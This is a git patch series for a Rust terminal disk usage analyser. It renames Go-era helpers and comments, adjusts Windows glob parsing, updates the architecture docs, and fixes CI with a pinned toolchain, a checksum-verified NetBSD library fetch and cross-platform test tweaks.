a/src/snapshot/testdata/go.msz b/src/snapshot/testdata/v1.2.0.msz similarity index 100% rename from src/snapshot/testdata/go.msz rename to src/snapshot/testdata/v1.2.0.msz diff --git a/src/textutil.rs b/src/textutil.rs index 82c822d..6df1c2f 100644 --- a/src/textutil.rs +++ b/src/textutil.rs @@ -357,9 +357,9 @@ pub fn rfc3339_utc(unix_nanos: i64) -> String { ) } -/// Formats a duration like Go's time.Duration.String after rounding to -/// milliseconds, e.g. "1.234s", "250ms", "2m3.5s". -pub fn go_duration(d: Duration) -> String { +/// Formats a duration rounded to milliseconds: "0s", "250ms", "1.234s", +/// "2m3.5s", "1h0m5s" (trailing zeros of the seconds trimmed). +pub fn fmt_duration(d: Duration) -> String { let ms = (d.as_nanos() + 500_000) / 1_000_000; if ms == 0 { return "0s".into(); @@ -393,8 +393,8 @@ mod time_tests { rfc3339_utc(1_791_456_000 * 1_000_000_000), "2026-10-08T10:40:00Z" ); - assert_eq!(go_duration(Duration::from_micros(1_234_400)), "1.234s"); - assert_eq!(go_duration(Duration::from_millis(250)), "250ms"); - assert_eq!(go_duration(Duration::from_millis(123_500)), "2m3.5s"); + assert_eq!(fmt_duration(Duration::from_micros(1_234_400)), "1.234s"); + assert_eq!(fmt_duration(Duration::from_millis(250)), "250ms"); + assert_eq!(fmt_duration(Duration::from_millis(123_500)), "2m3.5s"); } } diff --git a/src/treemap/mod.rs b/src/treemap/mod.rs index eea578b..4e704dc 100644 --- a/src/treemap/mod.rs +++ b/src/treemap/mod.rs @@ -326,7 +326,7 @@ pub(crate) mod tests { } } - /// The Go fuzz target's property, run over fixed seeds. + /// Squarify invariants over random partitions, from fixed seeds. #[test] fn squarify_random_partitions() { let mut rng = Rng::new(1); diff --git a/src/tui/bench.rs b/src/tui/bench.rs index 35a0d3f..0706ee7 100644 --- a/src/tui/bench.rs +++ b/src/tui/bench.rs @@ -1,5 +1,5 @@ //! Benchmark hooks: the model driven with no terminal, rendering in -//! true colour, as the Go benchmarks do. +//! true colour. use super::model::{Key, Model, Msg, Options, Profile}; use crate::cancel::Cancel; diff --git a/src/tui/model.rs b/src/tui/model.rs index fbba738..d6d154c 100644 --- a/src/tui/model.rs +++ b/src/tui/model.rs @@ -58,7 +58,7 @@ pub(crate) enum Profile { Ascii, } -/// A key press. name follows Bubble Tea's keystroke names ("a", "G", +/// A key press. name is the keystroke name ("a", "G", /// "ctrl+c", "shift+tab", "space", "pgdown", …); text is the inserted /// text for printable keys. #[derive(Clone, Debug, Default)] @@ -69,7 +69,7 @@ pub(crate) struct Key { } impl Key { - /// A key from its keystroke name, as the Go tests build them: single + /// A key from its keystroke name, as tests build them: single /// characters insert themselves, "space" inserts " ". pub fn from_name(s: &str) -> Key { let text = match s { diff --git a/src/tui/run.rs b/src/tui/run.rs index b14e4e5..0dd0187 100644 --- a/src/tui/run.rs +++ b/src/tui/run.rs @@ -162,7 +162,7 @@ fn enter_terminal(mouse: bool) -> io::Result<()> { Ok(()) } -/// Bubble Tea keystroke name for a key event. +/// The keystroke name (see `Key`) for a key event. fn convert_key(ev: KeyEvent) -> Option { if ev.kind == KeyEventKind::Release { return None; @@ -251,7 +251,7 @@ fn convert(ev: Event) -> Option { _ => None, } } - // Pastes are ignored, as in the Go version. + // Pastes are ignored. _ => None, } } diff --git a/src/tui/tests.rs b/src/tui/tests.rs index c36ccc5..fa762a8 100644 --- a/src/tui/tests.rs +++ b/src/tui/tests.rs @@ -1,4 +1,5 @@ -//! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go). +//! Headless model tests: rendering and navigation, nested directories, +//! and a model driven by a live scan. use super::bench::opts_for; use super::canvas::rgb; @@ -536,7 +537,7 @@ fn copy_refuses_control_characters() { ); } -// ---- nest_test.go ----------------------------------------------------------- +// ---- Nested directories ----------------------------------------------------- fn root_tree() -> Tree { let mut t = Tree::new(b"/", Kind::Dir); @@ -611,7 +612,7 @@ fn reveal_headless_zooms_map() { ); } -// ---- live_test.go ----------------------------------------------------------- +// ---- Live scan -------------------------------------------------------------- /// Renders, navigates, filters and resizes while the scanner mutates the /// inventory, verifying the locking discipline. -- 2.53.0 From b21bcedba0898ffd85aef9310ffac7f18c2b9c34 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 20:10:18 +0100 Subject: [PATCH 10/12] Filter globs: no backslash escapes on Windows Query validation now matches platform::glob_match, where '\' is the path separator on Windows rather than an escape. --- src/filter/parser.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/filter/parser.rs b/src/filter/parser.rs index c02110d..1dc5bb7 100644 --- a/src/filter/parser.rs +++ b/src/filter/parser.rs @@ -321,13 +321,13 @@ pub(super) fn name_match(v: &str) -> Expr { /// Reports whether pattern is a well-formed glob (see /// `platform::glob_match`): every `[` class is closed and non-empty, ranges -/// have both ends, and no escape is dangling. +/// have both ends, and (on Unix, where `\` escapes) no escape is dangling. fn glob_ok(p: &[u8]) -> bool { // One possibly escaped character of a range; None if malformed. let esc = |mut i: usize| -> Option { match p.get(i)? { b'-' | b']' => return None, - b'\\' => { + b'\\' if cfg!(unix) => { i += 1; p.get(i)?; } @@ -338,7 +338,7 @@ fn glob_ok(p: &[u8]) -> bool { let mut i = 0; while i < p.len() { match p[i] { - b'\\' => { + b'\\' if cfg!(unix) => { if i + 1 >= p.len() { return false; } -- 2.53.0 From e3bfc28d71632ba63ae7419f7653be0060c7c095 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 20:12:37 +0100 Subject: [PATCH 11/12] Docs and metadata: per-OS platform notes, package description --- ARCHITECTURE.md | 28 +++++++++++++++++++--------- Cargo.toml | 2 +- PERFORMANCE.md | 2 +- 3 files changed, 21 insertions(+), 11 deletions(-) diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 644bbf4..0e96607 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -285,17 +285,27 @@ it receives all keys; `Esc` always closes it. ## OS abstraction -`internal/platform` exposes `ReadDir(path, func(chunk []Entry) error)` and -`Meta` structs. Implementations: +`platform` exposes `read_dir(path, chunk, |entries| …)`, `stat`/`lstat`, +`Meta`, trash, delete, reveal and name lookups. `platform/unix.rs` and +`platform/windows.rs` hold the implementations: -* `readdir_linux.go` — `getdents` via `os.File.ReadDir` + `statx` relative to - the directory fd (one syscall per entry, gives birth time). -* `readdir_unix.go` — darwin/BSD: `fstatat` relative to the directory fd. -* `readdir_windows.go` — `os.File.ReadDir` + `Lstat`; reparse points - (junctions, symlinks) are never descended by default. -* `fs_*.go` — virtual-filesystem detection, owner name lookup. +* Linux — `readdir` on an `O_DIRECTORY` descriptor + `statx` (via the raw + system call, so static musl builds work) relative to that descriptor: one + system call per entry, birth time included; `fstatat` if the kernel lacks + `statx`. Virtual filesystems are detected with `statfs`. freedesktop.org + trash; `xdg-open` reveals. +* macOS, FreeBSD, NetBSD — the same descriptor-relative walk with + `fstatat`. macOS moves items to `~/.Trash` (or the volume's `.Trashes`) + and reveals with `open -R`; the BSDs have no trash or reveal, so `d` is + only offered as a permanent delete when headless. +* Windows — `std::fs::read_dir` and metadata. Allocated size is reported as + unknown and there is no inode identity, so hard links are not + deduplicated and symlinks and junctions are never followed. The Recycle + Bin (`SHFileOperationW`) and `explorer /select,` reveal; permanent delete + is not offered. -No other package switches on `runtime.GOOS`. +The terminal code has the only other `cfg` blocks (signals and writing the +restore sequence). ## Security handling for hostile filenames diff --git a/Cargo.toml b/Cargo.toml index 8db12b0..ba49adc 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -3,7 +3,7 @@ name = "mapsize" version = "1.2.0" edition = "2021" license = "GPL-3.0-or-later" -description = "Interactive terminal disk usage analyser (Rust port)" +description = "Interactive terminal disk usage analyser with a live, navigable treemap" [dependencies] libc = "0.2" diff --git a/PERFORMANCE.md b/PERFORMANCE.md index 796ec44..28c512b 100644 --- a/PERFORMANCE.md +++ b/PERFORMANCE.md @@ -17,7 +17,7 @@ is the median (and best) of 7 runs. ## Scanner -Dataset: `~/go/pkg/mod`, a large module cache: 388,307 files + 65,518 +Dataset: a source-package cache directory: 388,307 files + 65,518 directories (458,510 inventory nodes), 10.5 GiB allocated. **Warm cache only**: dropping the page cache needs root, so these measure CPU and syscall cost, not disk seeks. Cold-cache behaviour on HDDs will be dominated by seek -- 2.53.0 From 82dfab3dfff3c4e52e7240483af0ae9c34fc5827 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 20:32:29 +0100 Subject: [PATCH 12/12] Fix CI: pin Rust 1.99, newer clippy lints, Windows/macOS test portability, NetBSD libexecinfo for cross --- Cross.toml | 11 +++++++++++ DEVELOPMENT.md | 7 ++++--- rust-toolchain.toml | 4 ++++ src/app.rs | 2 +- src/inventory/mod.rs | 2 +- src/scan.rs | 9 ++++++--- src/snapshot/mod.rs | 18 ++++++++++++++---- src/tui/side.rs | 2 +- src/tui/tests.rs | 2 ++ src/tui/views.rs | 8 +++----- 10 files changed, 47 insertions(+), 18 deletions(-) create mode 100644 Cross.toml create mode 100644 rust-toolchain.toml diff --git a/Cross.toml b/Cross.toml new file mode 100644 index 0000000..983c390 --- /dev/null +++ b/Cross.toml @@ -0,0 +1,11 @@ +# The cross image for NetBSD lacks libexecinfo, which Rust's standard library +# links on NetBSD. Take it (and libelf, which it needs) from the official +# NetBSD 9.2 base set, matching the image's libc, checked against the +# release's published SHA512. +[target.x86_64-unknown-netbsd] +pre-build = [ + "curl -fsSL -o /tmp/base.tar.xz https://archive.netbsd.org/pub/NetBSD-archive/NetBSD-9.2/amd64/binary/sets/base.tar.xz", + "echo '961511ec63f4803529aeb057632e2b8cf87e73bfdfed445d7521b607f573245359163b9f6b6a158fa80de7a994cf3727af384ec42ac8d9ccdd59a87197a41b55 /tmp/base.tar.xz' | sha512sum -c", + "tar -xJf /tmp/base.tar.xz -C /usr/local/x86_64-unknown-netbsd --strip-components=2 ./usr/lib/libexecinfo.so ./usr/lib/libexecinfo.so.0 ./usr/lib/libexecinfo.so.0.0 ./usr/lib/libelf.so ./usr/lib/libelf.so.2 ./usr/lib/libelf.so.2.0", + "rm /tmp/base.tar.xz", +] diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index 2a397f2..5c47d4e 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -1,7 +1,8 @@ # Development -Requires a stable Rust toolchain (`rustup`); the dependencies are pinned in -`Cargo.lock`. No C toolchain beyond what Rust itself needs. +Requires `rustup`: `rust-toolchain.toml` pins the compiler (so local builds +match CI), and `Cargo.lock` pins the dependencies. No C toolchain beyond what +Rust itself needs. ```sh make build # target/release/mapsize @@ -27,7 +28,7 @@ binaries under qemu. | Linux | amd64, arm64, 386, arm (v7), riscv64 | `*-unknown-linux-musl` (static) | cargo-zigbuild + zig | | Windows | amd64, arm64 | `x86_64-pc-windows-gnu`, `aarch64-pc-windows-gnullvm` | cargo-zigbuild + zig | | macOS | amd64, arm64 | `*-apple-darwin` | cargo on a Mac (or zigbuild) | -| FreeBSD, NetBSD | amd64 | `x86_64-unknown-{freebsd,netbsd}` | cross + Docker | +| FreeBSD, NetBSD | amd64 | `x86_64-unknown-{freebsd,netbsd}` | cross + Docker (`Cross.toml` adds NetBSD's libexecinfo) | Platform differences live in `src/platform.rs` (and `cfg` blocks where the terminal code needs them); nothing else switches on the OS. diff --git a/rust-toolchain.toml b/rust-toolchain.toml new file mode 100644 index 0000000..5a341ac --- /dev/null +++ b/rust-toolchain.toml @@ -0,0 +1,4 @@ +[toolchain] +channel = "1.99.0" +components = ["rustfmt", "clippy"] +profile = "minimal" diff --git a/src/app.rs b/src/app.rs index 21dcd65..380a123 100644 --- a/src/app.rs +++ b/src/app.rs @@ -110,7 +110,7 @@ fn interrupt_cancel() -> Cancel { } } let c = CANCEL.get_or_init(Cancel::new).clone(); - unsafe { libc::signal(libc::SIGINT, on_sigint as libc::sighandler_t) }; + unsafe { libc::signal(libc::SIGINT, on_sigint as *const () as libc::sighandler_t) }; c } diff --git a/src/inventory/mod.rs b/src/inventory/mod.rs index eff8b1d..52c7eaa 100644 --- a/src/inventory/mod.rs +++ b/src/inventory/mod.rs @@ -492,7 +492,7 @@ mod tests { assert_eq!(top.len(), 3); assert_eq!(tr.node(top[0]).size, 99); assert_eq!(tr.node(top[2]).size, 97); - assert_eq!(tr.path_string(top[0]), "/r/d/f"); + assert_eq!(tr.path_string(top[0]).replace('\\', "/"), "/r/d/f"); } #[test] diff --git a/src/scan.rs b/src/scan.rs index 760493d..b9f7ceb 100644 --- a/src/scan.rs +++ b/src/scan.rs @@ -916,15 +916,18 @@ pub(crate) mod tests { fn hostile_names_preserved() { use std::os::unix::ffi::OsStrExt; let root = TempDir::new("names"); - let names: [&[u8]; 6] = [ + #[allow(unused_mut)] + let mut names: Vec<&[u8]> = vec![ "日本語.txt".as_bytes(), "emoji-🎉.png".as_bytes(), b"esc\x1b[31mred", b"nl\nname", b"sp ace", - b"bad\xffutf8", ]; - for n in names { + // APFS rejects names that are not valid UTF-8. + #[cfg(not(target_os = "macos"))] + names.push(b"bad\xffutf8"); + for &n in &names { std::fs::write(root.0.join(std::ffi::OsStr::from_bytes(n)), b"x").unwrap(); } let t = run_scan( diff --git a/src/snapshot/mod.rs b/src/snapshot/mod.rs index 3c4efab..2b8212d 100644 --- a/src/snapshot/mod.rs +++ b/src/snapshot/mod.rs @@ -686,8 +686,11 @@ impl JsonTime { if self.secs >= 0 { UNIX_EPOCH + Duration::new(self.secs as u64, self.nanos) } else { - UNIX_EPOCH - Duration::from_secs(self.secs.unsigned_abs()) - + Duration::from_nanos(self.nanos as u64) + // Windows cannot represent times before 1601 (such as the zero + // time, year 1); those clamp to the Unix epoch. + UNIX_EPOCH + .checked_sub(Duration::from_secs(self.secs.unsigned_abs())) + .map_or(UNIX_EPOCH, |t| t + Duration::from_nanos(self.nanos as u64)) } } @@ -897,7 +900,10 @@ mod tests { assert_eq!(d.removed.len(), 1); assert_eq!(&d.old.node(d.removed[0]).name[..], b"b"); let ch = d.changes(&nw, 10, al); - let paths: HashMap<&str, Status> = ch.iter().map(|c| (c.path.as_str(), c.status)).collect(); + let paths: HashMap = ch + .iter() + .map(|c| (c.path.replace('\\', "/"), c.status)) + .collect(); assert_eq!(paths.get("/srv/a/x.iso"), Some(&Status::Grew), "{ch:?}"); assert_eq!(paths.get("/srv/b"), Some(&Status::Removed), "{ch:?}"); assert_eq!(paths.get("/srv/c"), Some(&Status::Added), "{ch:?}"); @@ -970,6 +976,7 @@ mod tests { Some(JsonTime::default()) ); assert_eq!(JsonTime::default().format(), "0001-01-01T00:00:00Z"); + #[cfg(not(windows))] assert_eq!( JsonTime::from_system(JsonTime::default().to_system()), JsonTime::default() @@ -1010,7 +1017,10 @@ mod tests { .unwrap(); assert_eq!(t.node(iso).size, 10000); assert_eq!(t.ext_name(t.node(iso)), "iso"); - assert!(t.path_string(iso).ends_with("/tree/a/x.iso")); + assert!(t + .path_string(iso) + .replace('\\', "/") + .ends_with("/tree/a/x.iso")); // And it survives a save/load round trip unchanged. let again = load(&saved(&t)[..]).unwrap(); assert_eq!( diff --git a/src/tui/side.rs b/src/tui/side.rs index 3027dfc..7a0150c 100644 --- a/src/tui/side.rs +++ b/src/tui/side.rs @@ -92,7 +92,7 @@ impl Model { .map(|(i, &v)| (Category::from_u8(i as u8), v)) .collect(); let total: i64 = cats.iter().map(|c| c.1).sum(); - cats.sort_by(|a, b| b.1.cmp(&a.1)); + cats.sort_by_key(|c| std::cmp::Reverse(c.1)); for &(c, v) in &cats { if y >= end - 8 { break; diff --git a/src/tui/tests.rs b/src/tui/tests.rs index fa762a8..cabc280 100644 --- a/src/tui/tests.rs +++ b/src/tui/tests.rs @@ -590,6 +590,8 @@ fn nesting_reaches_deep_media() { // Headless, o shows the selected folder in the map instead of launching a // file manager. +// macOS and Windows always have a file manager, so are never headless. +#[cfg(not(any(target_os = "macos", windows)))] #[test] fn reveal_headless_zooms_map() { std::env::set_var("DISPLAY", ""); diff --git a/src/tui/views.rs b/src/tui/views.rs index 34a9e14..d526dd7 100644 --- a/src/tui/views.rs +++ b/src/tui/views.rs @@ -462,11 +462,9 @@ impl TopView { val.insert(id, n.size - n.alloc); } } - TopMode::Hardlinks => { - if n.has(FLAG_HARDLINKED) { - tk.offer(id, n.size); - val.insert(id, n.size); - } + TopMode::Hardlinks if n.has(FLAG_HARDLINKED) => { + tk.offer(id, n.size); + val.insert(id, n.size); } _ => {} } -- 2.53.0